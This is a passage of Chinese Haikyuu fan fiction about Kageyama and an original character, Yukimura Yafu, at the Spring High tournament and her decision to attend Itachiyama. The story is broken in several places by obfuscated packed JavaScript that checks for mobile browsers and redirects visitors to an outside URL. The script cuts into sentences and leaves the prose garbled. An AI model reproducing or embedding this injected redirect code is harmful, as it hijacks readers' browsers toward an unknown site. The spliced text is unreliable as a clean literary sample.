“我也是啊！！”西谷夕兴奋地表达了自己的支持：“来吧！今天一个球都别想落到线的这边！！” 两个傻子的豪言壮志得到了影山飞雄的无视。 雪村夜芙看着也冲着自己挥手的乌野队员不禁被逗笑了。 果然是很好的人啊，怪不得影山也能够很好地融入了其中。 比赛很快开始，雪村夜芙没有选择坐下，而是就在乌野的横幅上方认认真真看着场上的每一颗球。 正如横幅“飞吧”想表达的，场上的每一个乌野队员都像是迎风飞翔着的鸟。 拿下的每一分，都是他们扇动着自己的翅膀又飞得更高了一些。 而影山飞雄深呼吸着，在即便如此陌生的场馆里，也心无旁骛地计算着球的轨迹。 眼前空间的不同，影响着他对速度、力度和角度的判断，做出最正确的计算比过去要更难。 但也更加必要。 在这个时候，用这样的方式托出去的球，是最适合日向发起那个攻击的—— 影山飞雄在瞬间做出判断，背传给出一个托球。配合着日向令人目眩的速度，他们在对方甚至没有反应过来的时候就已经又拿下一分。 “又是完美的托球！乌野的9号选手影山飞雄，完美配合10号选手日向翔阳！这对怪物组合打出了今天第三个令人震惊的快攻！” 解说情绪激昂地讲解着场上的战况，而大屏幕上更是细心地放出了影山飞雄的资料。 在高一就入选了国家青年集训的天才二传手，影山飞雄。 面对乌野这样怪胎般的对手，缺乏天才的椿原就显得有些平凡而无力招架了。 最终，乌野2：0 战胜了椿原。 影山飞雄在东京体育馆的第一场比赛，用真正王者的姿态证明了自己的实力。 雪村夜芙看完了整个比赛，跟着观众为他们鼓掌。 在她的身边，淡黄色短发的女生在乌野赢下比赛之后高兴得跳了起来，然后跑下了观众席，去为队员们准备水和毛巾。 是乌野的球队经理啊，雪村夜芙看着那个女生的举动。 她将毛巾递给队员们，大约说着“赢下比赛真是太好了”之类的话，和乌野的队员们分享着胜利带来的愉悦。 那样子参与到排球这项运动里，好像也是很幸福的一件事情啊。 雪村夜芙想着。 影山飞雄从谷地仁花手里接过毛巾，礼貌地说着谢谢，然后看向了观众台上。 雪村夜芙感觉到了他的目光，冲着他笑了笑。 影山飞雄还没回应，结果一旁的西谷夕和日向翔阳先跳了起来。 “啊啊啊啊啊她冲我笑了！西谷前辈！！” “你搞错了是在冲我笑啊翔阳！！” “可是一身臭汗啊要不要先去洗个澡再去告白啊！！” “喂！在干什么啊！”影山飞雄黑着脸薅了把橘子毛，让日向的脑子不得不清醒了一点。 然后又尽量忍耐着转向西谷夕，“西谷前辈……” 好在又到了集合的时间，什么乱七八糟的告白计划全都暂时搁置，而退场之后影山飞雄就直奔雪村夜芙而去。 …… 努力压着嘴角的弧度，影山飞雄和雪村夜芙一起并肩走在退场的人群中。 “你怎么来的，我以为……” 影山飞雄虽然期待她来，但是也做好了希望落空的打算。 然而雪村真的出现了。 人群中，时不时有人认出影山就是刚刚打了一场漂亮的比赛的乌野 9 号。 于是有人对他夸着哪一球特别漂亮的时候，影山飞雄就会道谢然后偷偷看向雪村夜芙，不自觉露出也想要被她夸赞的样子。 “答应你的我当然会做到啊。”雪村眨眨眼说着，“你打得这么厉害，我要是错过的话也太可惜了吧？” 影山飞雄轻轻应了一声，嘴角的弧度已经完全压不住了。 体育馆外，许许多多和赛事相关的周边商品都在临时搭建的摊位上售卖着，而和冠军热门队伍相关的东西更是受到了绝大多数观众的欢迎。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986113|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>路过一个热闹的摊位前，雪村夜芙脚步一顿。 在那里，井闼山学院的手幅和钥匙扣被许许多多人挑选着。 两个看起来像是初中生的女孩子说着话，然后毫不犹豫地买下了一对井闼山学院的手幅。 手幅上面仅仅写着“努力”二字，质朴而清晰。 “今年的冠军队伍，不出意外也会是井闼山学院吧？”其中一个女孩随口说着。 “诶？你说女排还是男排啊？” “有区别吗？都会是他们拿下吧。” “说的也是。” “决定了，我明年一定要考上井闼山学院！” “啊？听说他们的入学考试很难的，到时候你可不要被为难到哭鼻子……” 雪村夜芙在摊位前静静看了一会儿，想到了不久之前，那封递到自己面前的井闼山学院的入学邀请书。 “怎么了？有想要的吗？”影山飞雄下意识想打开背包取钱。 “影山。”雪村夜芙忽然叫了他的名字。 影山飞雄手上的动作一顿，疑惑地看向了雪村夜芙。 于是在人来人往的东京体育馆外，雪村夜芙决定和影山一起直面这个问题。 “我收到了井闼山的入学邀请。” “东京，井闼山高校。” 看着影山飞雄的眼睛，雪村夜芙认真地问着他：“我要……留在东京吗？” 影山飞雄愣住了，一言不发。 留在东京意味着什么，他们都很清楚，但是…… 抿了抿唇，影山飞雄忽然抓住了雪村夜芙的手，向着另一处场馆跑去。 雪村夜芙跟在他身后跑了起来。 在东京体育馆的其中一座副馆里，春高女子排球的小组赛也正在进行中。 这场女排的比赛，正是井闼山学院对抗另一所强校。 影山飞雄昨天在熟悉场馆路线的时候，记下了所有和排球比赛相关的信息，包括这一场。 深呼吸了一口气，影山推开那扇沉重的通往观众席的大门，带着雪村进到了场馆里—— 里面的声浪在瞬间就将他们淹没。 不亚于任何男子排球比赛的人气，同样精湛并更具观赏价值的女排比赛在他们面前呈现。 弯着腰避免遮挡观众的视线，影山飞雄牢牢抓着雪村夜芙的手在人群间穿梭，最后走到了观众席最前方的位置。 井闼山女排的第二场比赛，对阵神奈川的强校打出了 21：13 的压倒性优势。 雪村夜芙的目光不由被场上那些耀眼的女孩子所吸引。 二传手精准的托球、主攻手出其不意的扣球、还有冲出场外极限救球的自由人。 井闼山女排的每一个队员都展现着她们在排球上精美绝伦的技术，以及无懈可击的团队配合。 雪村夜芙仔仔细细看着她们打出的每一个球，忽然感到有些热泪盈眶。 好想……好想成为她们这样的人，好想和她们并肩作战。 影山飞雄只看了几球，就明白了井闼山女子排球的实力——可以说，她们是仙台的任何一所高校的女排队伍都要仰望的存在。 这就是常年夺冠的队伍的实力。 收回落在场上的目光，影山飞雄看向了雪村夜芙—— 他清楚地看到了雪村因为激动而微红的侧脸，也看到了雪村眼里映出的耀眼的光。 她无限地渴望并向往着。 时光倒回他们最初的时候。 影山飞雄第一次看到雪村夜芙的时候，就觉得她的眼睛很像他曾经在港口见过的海水，大多数时间都是平静温柔的。 而现在，他却完完全全看到了海水的波澜，以及日出的时候，阳光落在海面上造就的无数碎镜般的闪光。 “留在东京。”影山飞雄忽然看着雪村的侧脸这么说着。 “雪村，留下。” “去井闼山吧。” 雪村夜芙问影山飞雄，她是否该留在东京，接受井闼山的入学邀请。 而这就是影山飞雄的答案。 17. 风筝线 “喂！影山，你小子又跑到哪里去了！” 电话里传出来乌养教练的怒吼，“东京那么大的地方，身为第一次进城的小子你们就不能安分一点吗？！” 乌养教练表示带孩子真的很心累，一不留神呼啦一下全跑了，只能打电话一个个找。 有的人不知道去看谁的比赛了，而有的人破天荒地在逛街。 影山飞雄老老实实认错，好不容易挨完骂挂断了电话，然后又像什么都没发生一样，继续陪着雪村夜芙四处逛着。 快到正午了，与其和那帮天天见面的家伙一起吃饭，影山飞雄更想和好久没见的雪村夜芙呆在一起。 看井闼山女排比赛的时候，雪村夜芙和影山一起做出了接受井闼山入学邀请的决定，她也做好了留在东京上学的准备。 于是压在心上的担忧就这样烟消云散，比赛结束以后她就拉着影山飞雄继续逛周边的商品了。 这会儿她的手里举着一串热气腾腾的丸子，刚刚吃了一颗就看到影山接了电话。 雪村夜芙鼓着腮帮子含糊不清地问：“你是不是还有事要做啊？” 影山飞雄坚定地摇头。 雪村夜芙怀疑地看着他。 “啊！是那个女孩子！”日向翔阳隔着十几米远的地方就看到了雪村，无比自来熟地冲着她超大幅度挥手。 雪村夜芙对这种小太阳一样的男生很有好感，也挂上了温柔的笑容向着他举起了手—— 然后不仅收获了一只橘子小狗，还附赠他身边戴着帽子的高个子光头……？ 啊，再旁边那个她记得，是叫做西谷夕的乌野很厉害的自由人，在场上的时候也被解说频频夸赞。 看着飞速向这边移动的乌野笨蛋组，影山飞雄脸黑了黑。 直到跑到了雪村夜芙面前，日向才发现了在她身边散发着黑气的影山。 “影、影山？！” 橘子小狗猛得刹车，指着黑着脸的影山飞雄叫道：“为什么你也在这里啊？！” “可恶，这家伙居然捷足先登了吗？”西谷夕试图凭借身高优势插进影山和雪村之间。 影山飞雄下意识把雪村拦在了身后。 雪村夜芙从影山背后探出了头，冲着他们笑着说：“你好啊，我是雪村夜芙。” “目前是北川第一的三年级生。” 她笑着推着影山飞雄往日向身边走去，说着：“影山平时一定受了大家不少照顾吧？真是感谢呢。” 这样的口吻，听起来简直不像是影山的后辈。 但也无端把两个人的关系拉得很近。 “没、没事的啦！”日向在雪村夜芙的目光之下脸颊微红，下意识就顺着雪村的话说，“影山这家伙有时候其实也不错啦！” “对对，一开学的时候就有给我们带零食什么的。”西谷夕很努力地隔着影山飞雄把头探过来和雪村搭话。 雪村脸上的笑意更深，“那就好。” “所以是学妹？！”田中龙之介也凑了上来，“是不是下学期入学的学妹啊？怎么样，来乌野当经理吧？！” 三张期待的脸，眼睛亮亮地看向雪村。 雪村笑了笑，没有回答这个问题。 于是本来好好两个人的逛街，被迫变成了五人行，影山飞雄想要刀人的眼神完全要藏不住了。 “喂，我和雪村要去吃饭了，你们——”不要一直跟着啊！ 影山飞雄话还没说完，就被日向举着手机抢白：“啊！教练说在入住的旅馆预定了午饭，谷地同学和清水学姐已经都安排好在等我们了！” “雪村也一起去吧？大家一定都很欢迎你的！” “……” 半个小时后，谷地站在旅馆门口愣愣地看向雪村夜芙，忽然想了起来：“啊，你是那个一直在最前面看我们比赛的女孩子！” “过来这边是有什么事吗？” “谷地同学！这位是雪村学妹哦！”日向热心地介绍着，“她说不定会是我们下一届的经理呢！！我邀请她过来一起吃饭啦！” 影山黑着脸把日向推到一边，只对着已经愣住了的武田老师和乌养教练说道，“她是和我一起来的。” 乌养教练点烟的手忍不住颤抖，“喂——这是把哪个学校的女孩子这么快骗来了……武田老师，你快说些什么管管吧？！” 武田老师表面上微笑着，实际内心已经走了一会儿了。 哪个学校的学生……对方老师是不是快急死了……家长上门找他算账怎么办…… 乌养教练又看向了泽村大地和菅原孝支，结果后者也表情僵硬石化中。 最后还是清水洁子出面才解决了问题。 片刻后，大家围坐在了餐厅一起吃饭，而清水洁子和谷地仁花一左一右把雪村隔在中间。 “所以晚些时候，会有人过来这边接你是吗？” “啊，是的，我爸爸知道我过来看比赛……他刚好在东京有商务会议，等结束后我应该会和他一起回宫城。” 雪村夜芙难得有些拘束地坐在位置上，接过清水洁子递过来的海带汤的时候，少有的有些紧张。 好……好美的学姐。 “原来是这样。” “影山。”清水推了推眼睛，又把影山飞雄叫了过来。 “清水学姐。”影山一板一眼地回应她。 “下次带女孩子过来之前，记得先和武田老师说清楚，以免不必要的误会。” 武田老师在一旁疯狂点头，见到雪村夜芙那一刻，他已经脑补到因为自己没有约束好这群野孩子导致他们闯祸以至于他最终只能引咎辞职什么的了…… 影山飞雄有些懵懂地点了点头，但是他总觉得雪村不是外人。 带她和乌野的大家一起见面什么的，总觉得是很自然的事情。 和乌野的大家一起吃饭是很愉快的事。 雪村夜芙看着碗里堆到不能再高的食物，一时之间有些手足无措。 “呐，大家都很热情吧？”谷地仁花坐在她身边，贴心地替她拿来新的盘子，“如果雪村能够来乌野当经理的话，那真是太好了。” “等过段时间清水学姐毕业以后，我真怕一个人没办法完美地处理好那么多事情啊。” 雪村笑了笑，对于自己并不会入学乌野这种事，忽然也确实感觉到了一些遗憾。 她看向影山飞雄，而后者也注视着她。 甚至没有注意到日向偷偷夹走了他盘子里的烤肉。 吃完午饭，大家都回去休息的时候，只有影山飞雄陪着雪村在门厅这边等着雪村成。 雪村夜芙拿出新买的手机，向着影山晃了晃，“怎么样，来交换 Line 吧？” 影山飞雄毫不犹豫地点头，也拿出自己的手机。 “啊，这个头像。” 雪村夜芙惊讶地看着影山发过来的好友申请，上面的头像是她送给影山的那颗签名排球。 “嗯……因为那个礼物,我很喜欢。”影山飞雄把头偏了过去，不敢看雪村的眼睛。 加上了 Line，下一刻雪村夜芙就收到了一条来自雪村成的简讯。 【爸爸还有五分钟到哦。】 雪村简单回复后，抬头对影山说，“我要走了。” 影山原本正低头对着雪村的备注犹豫着写了又删。 听到这样的话，他的手不自觉停了下来，轻轻应了一声，忽然有些高兴不起来。 春高还没结束，他要继续留在东京。但是雪村还要回北一处理毕业的事，她没办法留下来。 影山只能闷闷地说了句：“我送你。” 旅馆外，下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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雪村夜芙深吸了一口气，问出了压在自己心里很久的一个问题—— “爸爸，当初妈妈选择离开我们，带着哥哥去美国……” “这件事，您到底是怎么想的呢？” “您之前说过，让我不要像哥哥一样让您失望，指的是……打排球这件事吗？” “您是不是真的对妈妈很失望呢？” 雪村成愣了一愣，在反应过来雪村夜芙说了什么的时候，慌忙把车停在了路边。 停下车，雪村成目露歉疚地看向了雪村夜芙。 “对不起，夜芙。” 雪村成这样说着，“我没想到之前冲动说的话，会让你记得和在意这么久。” “不是的……恰恰相反，你们都没有让爸爸失望，是爸爸的骄傲。” 和她预设的截然相反的答案，让雪村夜芙有些恍惚。 “爸爸也没有对妈妈失望过，只是最开始的时候，爸爸太不舍得了……” “她的选择没错。而且，”雪村成语气肯定地说着，“我知道这次出国任教的机会对她很重要，所以就算她自己选择留在日本，我也不会同意的。” “我一定会让她去的。” 既然知道自己的妻子真正想要的是什么，作为丈夫和爱人，唯一应该做的就是支持她。 雪村夜芙呆了呆，忽然想到了影山飞雄说的话。 爸爸不会让妈妈为了自己留在日本，就像影山飞雄也不想她去乌野。 而她和妈妈春日奈一样，都有自己应该去做到的事情。 “我明白了。”雪村夜芙听见自己这么说。 喜欢从来都不是束缚，喜欢就像是风筝永远的线，保护着自己的风筝让它安全地飞在空中。 是这样子才对。 18. 【 影 山 飞 雄 】 影山飞雄加入乌野后的第一次春高，最终止步于四分之一决赛。 这对于过去一直被称为“落没的强校”的乌野来说，已经是很了不起的成绩了。 虽然说没能再进一步，以微弱的差距输给鸥台，也还是让大家有些许的遗憾。 回到旅馆之后没有休息很久，乌野的大家就默默地开始收拾行李。 比赛结束，他们要回宫城了。 “大家，振作起来啊！” 正当室内情绪略微有些低落的时候，消失了一段时间的武田老师忽然气喘吁吁地从外面跑了进来。 比赛结束不久，他就被井闼山的助理教练请去了另一个地方商谈，事关乌野今后的发展。 而在初步商定后，他在回旅馆的路上又接到了井闼山主教练亲自打来的确认电话。 电话刚讲完，武田就迫不及待地跑回来和乌野的大家分享这个消息了。 “大家这次的表现有多亮眼，不必我再次说明了吧。” 武田一铁认真说着这样的话，看着大家从忙碌中抬起了头，继续道：“而且并不只我一个人这么认为，你们也得到了很多人的认可。” “今年接下去的春季假期，井闼山学院准备开展合宿训练，并且希望我们能够参加！”武田老师一口气说完，不出意外吸引到了所有人的注意力。 “啊？！” “是真的吗？！” 井闼山这样的东京强校的主动邀请，让大家觉得惊喜和不可思议。 那可是经常问鼎冠军的井闼山——毕竟和音驹不同，乌野之前和井闼山并没有什么交集。 而且对方又一直都是实力很强大的学校啊。 “好啊！等着吧，合宿的时候去把这些冠军种子队的 city boy 通通打败，我们就是没有头的王了！！” ——这是田中。 “你是想说无冕之王吧？”缘下力无奈地纠正着，“不会用成语就不要乱用，会误人子弟的啊！” “啊啊啊啊要去打井闼山了！！我居然要打井闼山了！！” ——这是翔阳，要知道他从参加初中唯一一场比赛却输掉，结果现在来到东京体育馆参加春高，接下去还要准备和井闼山的比赛——完完全全是梦想成真的感觉啊。 “是说去井闼山合宿，他们学校提供场地啦，并不一定只和他们打比赛哦，还有别的强校啊……” “还有别的强校……这真是……” 太好了……好像在做梦…… “喂！翔阳你没事吧！” “……他好像幸福地晕过去了。” “……” 房间内的阴霾顿时一扫而空，他们拥有着被强校也认可的实力——意识到这一点后的乌野队员信心大增。 武田举着手机让大家看井闼山主教练发来的正式邀请简讯，然后说着：“时间安排很紧凑。等到回去完成第三学期的考核，春假一开始我们就又要来东京参加合宿了。” 武田老师的手机在队员们之间传来传去，而他则替大家下了结论：“所以没时间沮丧了，我们得好好准备下一次战斗才行啊！” “是！！”大家都大声同意。 泽村大地、菅原孝支，还有清水洁子和东峰旭这些三年级生，看着一个个兴奋不已的后辈，露出了或是欣慰或是遗憾的表情。 “春季合宿开始的时候我们已经毕业了啊，”东峰旭这么感慨着，“井闼山什么的，真想和他们打一场……” 这种感性消极的发言一说完，东峰旭就被泽村和菅原四只手勾住了脖子。 泽村皱眉：“喂，旭！没看见武田老师已经这么努力在活跃气氛了吗？不会说话就安静一点啊。” 菅原孝支则弯了弯眼睛：“旭啊，你继续留级不就好了？就可以参加春季合宿了哦。” “啊真是不好意思我们就先一步毕业了嗷。” “不啊，我才不要留级啊！”东峰旭着急地为自己辩驳，“还有什么叫‘继续留级’……我从来没有留过级好吗？！” 看着重新活过来了的乌野队员们，武田也终于松了一口气，然后才忽然发现少了什么，满脸茫然地问道：“诶？影山同学呢？” “诶？月岛同学也不在？” “诶？乌养教练去哪了？” “诶……？” 角落里，山口忠小心翼翼地举起手，说着：“那个……我应该知道他们在哪……” 东京体育馆的管理办公室。 乌养教练满脸歉疚地不停对着面前的工作人员鞠躬，嘴里还不停道着歉。 “真是太不好意思了！添大麻烦了！我一定回去好好教训这两个孩子……” 月岛萤在一旁不服气地小声抱怨：“明明我也是受害者，到底为什么要连我一起被骂啊……” 事情是这样的—— 一个小时以前，四分之一半决赛结束后，月岛萤本来打算跟着大家一起回到车上，结果在半路上忽然被影山飞雄拦住了。 球场上的天才，在遇到解决不了的问题的时候，也终于学会了求救。 并且还知道要找个脑子好使的人。 月岛萤摸了摸自己的耳朵，有些不敢相信自己听到的话：“哈？你是说你想要那颗比赛用过的排球？” 用像看傻子的目光看着影山飞雄，月岛萤怀疑他的脑子是不是已经完全被排球入侵了。 到底为什么会有这种莫名其妙的想法啊？ 明明自己家和学校都有一大堆排球等着他去用，在搞什么啊偏偏想要那一个？！ “我才不要一起去，你自己想办法。”月岛萤转身就要走，却被一声不吭的影山飞雄拽住了外套的帽子。 “……” 完全拿影山飞雄没有办法，月岛萤被迫和他一起回到了场馆内，去体育用品回收处试图找到那颗球。 结果在找的时候被当场抓获了。 月岛萤现在都在怀疑着，他那时候到底为什么会相信影山飞雄说的“那颗排球左边的纹路有一点歪”这种话，然后在那边帮他一起找啊…… 是因为和傻子在一起呆太久了，他的大脑也已经被污染了吗？ “你们……在干什么啊？” 负责管理回收用球的志愿者，看到在球堆里翻找着什么的他们两个人时也呆滞了。 随后影山飞雄和月岛萤两个人就被带到了场馆的办公室。 而在车上左右等不到人的乌养教练则接到了工作人员的告状电话，只好让车子载着大家先回旅馆，而他不得不到这边和工作人员疯狂赔礼道歉，来认领他家的这两个野孩子。 …… “啊……那个，其实也不是什么大事。就是，这种事最好事先和我们说一声……” 负责相关事宜的工作人员在乌养教练九十度的鞠躬下也有些手足无措，解释着：“而且那颗球被送去检查是否能够继续投入使用了，所以其实并不在那里……啊，送来了。” 正在说着，另一名志愿者就带着检查完毕的排球回到了办公室。 影山飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986115|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雄刚刚被乌养教练训过，这会儿本来默不作声地在角落里反省。 结果那颗球一进来，他的视线一下子就牢牢黏了上去，浑身散发着“好想要好想要”“是我的是我的”这样的意图。 那个拿着球的志愿者被影山飞雄看得浑身难受，知会了一声后，放下球和检查报告就飞快地逃离了这里。 看了眼检查报告，工作人员对着乌养教练说：“这颗球并没有什么问题，按理说是要回收利用的。但是之前也有过粉丝希望收藏比赛用球的情况，这是被允许的……” “总之，既然这位选手很想要的话，还请写一份说明，然后以常规交易的方式我们就可以解决这件事了。” 乌养教练松了口气大喜过望，连忙应了下来。 走过去用力在影山飞雄背上拍了一掌，乌养教练催促道：“你小子快去写说明啊！” 他一边念叨着“怎么这么让人不省心”之类的话，一边按照工作人员的指示去财务人员那里缴款办理手续。 影山飞雄则在工作人员的指导下，弯着腰在桌上的纸上写着：“影山飞雄，宫城市乌野高中排球部一年级生，于 x 年 x 月 x日申请认购该比赛用排球……” 一旁的月岛萤皱着眉头拿起那颗排球仔细端详着。 他怎么看都看不出来这颗球有什么不一样，所以影山飞雄到底在对它执着些什么啊…… 等到乌养教练带影山飞雄和月岛萤回到旅馆的时候，这两个野孩子又得到了泽村大地身为队长的最后的批评教育。 把缘下力也拉了过来，泽村语重心长说着：“你也来骂两句吧，等我们毕业后他们要是再闯祸，就全都麻烦缘下你来管教了……” 月岛萤第一次作为挨训对象被反复训话，把这笔账狠狠记在了影山飞雄头上。 影山飞雄则一声不吭，老老实实被训，甚至时不时还点点头，认错态度一级好—— 反正他想要的排球已经拿到了，挨训什么的，完全没关系嘛。 乌野的大巴在不久后驶上了返回宫城的路。 这夜，影山飞雄终于回到了宫城的家中休息。 他穿着睡衣盘腿坐在床上，刚洗过的头发还有些微微潮湿。 影山身侧，雪村夜芙送给他的那颗签名排球被放在它专属的圆形枕头上，压出浅浅的凹痕。 而影山的腿上则放着白天从东京体育馆里好不容易要来的那颗排球，手里拿着一支黑色的签字笔。 在这颗球上比划了好久，影山才终于打开了笔盖，小心翼翼地在排球上写下自己的名字。 【影山飞雄 】 歪歪扭扭的字迹。 想了想，他又在名字的后面补了几笔。 【 1 号】 于是连起来就变成了【影山飞雄 1 号 】。 写完以后，影山心情很好地合上了笔。 他要把这颗球送给雪村。 并且远不止这一颗—— 等到他打出更好的名次，拿到春高的冠军，甚至站到世界的舞台上后，他会将那些见证了他重要的比赛的排球都一一收集起来。 然后在上面写上：影山飞雄2号、3号、4号、5号…… 全都送给雪村夜芙。 心里想着这样的计划，影山飞雄躺在床上抱着【影山飞雄1号】看了一会儿，然后把它放到了一边，转而拿起了雪村送他的那颗签名排球。 将签名排球抱在怀里，脸颊轻轻地贴了上去，影山飞雄迷迷糊糊地抱着它睡着了。 19. 排球部临时经理 几天后，乌野体育馆。 “呜哇啊啊啊啊清水学姐！！” 谷地仁花抱着清水洁子，说话的时候都忍不住带上了哭腔，“学姐您这就要准备离开了吗？” “可是只剩我一个人真的很没安全感啊呜呜呜……” “还有井闼山学院的春日合宿，没有你在，只有我一个人的话会不会把一切都搞砸掉啊……” 谷地仁花忍不住想象着那样的场景——她在别人学校因为太笨做错事，然后害得整个乌野都被嘲笑，最后大家都因为她的错事被逐出井闼山什么的，太恐怖了啊！ 清水洁子无奈地安慰着谷地仁花，说着“没事的”“一定可以做到的”这种话，但是对于从来没有一个人承担过所有经理事宜的谷地仁花来说，这样安慰的话几乎起不到任何效果。 “呜呜呜哇啊啊啊啊——学姐——” 清水叹了一口气，忽然想到了办法。 “对了，仁花，你还记不记得在春高第一场比赛后，和我们一起吃过饭的那个学妹？” 谷地仁花埋在她怀里的头抬了起来，想了想说道，“学姐你是说雪村夜芙吗？我记得的！” “是个漂亮又温柔的女孩子啊，好像还是影山同学的后辈！” “感觉他们关系好像很好啊，不知道会不会来乌野诶？” “嗯，我觉得很有可能。”清水思考着说道：“而且身为初中部的三年级生，估计她也差不多处理完毕业的事情了，之后的春假说不定反而有时间。” “如果仁花你实在忙不过来的话，说不定可以试试看，能不能邀请她作为临时经理过来帮忙呢？” 谷地仁花的眼睛一瞬间就亮了起来。 上午的课刚刚结束，一年级 3 组，谷地仁花在影山飞雄所在的班级门口探头探脑。 “那个……同学，可以借过一下吗？” 身后有声音响起，谷地仁花被吓了一跳，然后连连道歉。 “对不起对不起对不起！”居然挡住了人家回教室的路，她真是太不小心了！ “你要找人吗？”被疯狂道歉的女生有些不好意思，于是抱着帮忙的想法问道。 “啊？嗯！”谷地仁花点了点头，“我找影山同学，但是……” 她在门口看了这么久，怎么没找到他啊？ 那个女生一脸了然地“啊”了一声，说着：“自从看过影山同学的排球比赛后，来找他的女孩子好多哦——” “不过你放心啦，不管是什么请求，影山同学都拒绝掉了。” “诶？”谷地仁花有一阵子没反应过来，她为什么要放心这个？ “喂，影山！又有女孩子找你啦！”那个女生回头冲着教室里喊着。 于是靠窗的后排位置上，脸上盖着英语书仰头睡了过去的影山飞雄惊醒。 谷地仁花：……她就说怎么找不到人。 影山飞雄睡眼惺忪地走到走廊，整个人困到有些站不稳。 虽然在冲刺期末考试，但是每天的排球训练他还是不想放弃，因此整个人的精力完全不够用。 但是谷地仁花一句话让他清醒。 “影山同学，你可以把雪村学妹的 Line给我吗？” 谷地仁花拿出手机，期待地看着影山飞雄。 影山一下子睁大了眼睛，立刻问道：“要、要干嘛？！” “诶？” 谷地仁花没想到影山飞雄会有这么大的反应。 本来想等雪村夜芙答应下来当经理以后再告诉大家的，但是看到影山这副防备的样子，谷地只好把打算先说出来了。 “是、是这样的，因为清水学姐马上要离开排球部了，我一个人处理不好所有事情，所以想请雪村学妹帮忙，看看能不能过来临时担任一下排球部经理……” 谷地仁花耐心地解释着，而面前的影山飞雄在听到雪村的名字以后，脑子已经整个乱掉，等到谷地说了好几遍才理清楚头绪。 “雪村来当经理……好、好啊？”影山飞雄结结巴巴说着。 “是吧！你也觉得很好吧？” 谷地仁花松了一口气，影山同学这里总算是说通了，“你有她的 Line 吗？” 影山飞雄点了点头，从口袋里拿出手机打开自己的Line——后知后觉发现了不对。 他的Line 的界面上，【夜芙】这个名字明晃晃地挂在置顶的位置，输入框里还有一堆改来改去没有发出去的乱七八糟的消息。 谷地仁花还以为影山打开手机是要给她看雪村的Line账号，结果还没凑过去，后者就忽然又把手机藏到了身后。 “我、我发给你等下……”影山飞雄语无伦次。 “啊？哦哦……” 北川第一中学。 雪村夜芙正和竹取加野和黑川峻在校内到处拍照留念，忽然就收到了谷地仁花的好友申请。 “谷地仁花……乌野的经理。”雪村自言自语，有些疑惑地看着这条申请。 或许是和影山有关系的事情吗？ 雪村夜芙刚刚通过申请，谷地仁花一早就编辑好的话就发了过来，末尾还加上了一个可怜兮兮的表情。 “诶？是什么啊？我看看。”竹取加野凑了过来。 “春日合宿……井闼山……乌野排球部……临时经理？” 竹取加野和雪村夜芙一起读完了简讯，问她：“你没有告诉他们，其实你是井闼山的新生吗？” 雪村夜芙摇头，“总觉得……好像还是先不说出来比较好。” “那这个经理邀请……” “去。”雪村夜芙忽略掉私心的那部分，毫不犹豫说着，“强校的合宿训练，就算只是在一旁看着也能学到很多吧。” “嗯？你确定？真的不是为了某个人才去当临时经理的吗？”竹取加野一脸揶揄地看着她。 雪村夜芙的耳朵一下子就红了起来，竹取知道自己猜对了，于是笑得停不下来。 还好雪村夜芙也知道怎么反击。 扭头转向黑川峻，雪村一副很同情的表情说着，“为了和竹取念同一所高中，黑川你啊，前段时间一定过得很辛苦吧？” 因为竹取加野毫不犹豫地跟着雪村夜芙一起报考了井闼山，而井闼山对新生各方面的要求又很高，文化课学得很一般的黑川压力陡然增大。 好在不久前的初中部篮球比赛，黑川和队友打进全国拿到了出色的名次，他这才在笔试排名不算靠前的情况下获得了井闼山的青睐。 “哦，那个啊，也还好吧……” “反正我一定会和竹取在一起，去同一所高中的——”黑川峻老老实实回答着。 “啊啊啊你不要回答她这种话啊黑川峻！！” “明明知道全是陷阱——”竹取跳脚。 雪村夜芙脸上微笑，内心为自己还要被秀三年而祷告。 隔了没多久，回到了自己教室的谷地仁花就收到了雪村夜芙回复的简讯。 在看到肯定的回复以后，谷地顿时眼前一亮，忍不住惊喜地喊了出来。 “太——太好了！” 抖着手回复了一大堆感谢之类的话，谷地仁花跑去找武田老师确认这件事。 “大家，过来一下。” 乌野体育馆门口，清水洁子一边换着鞋子，一边和训练中的乌野队员这么说着，准备宣布一件重要的事情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986116|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接住了手中的排球，大家都听话地聚了过来。 “是这样的，过了这周，身为排球部经理的我就打算退部了，但是井闼山的春日合宿也很快就要来了。” “因此我们决定邀请一名临时经理过来帮谷地同学分担一些工作。” 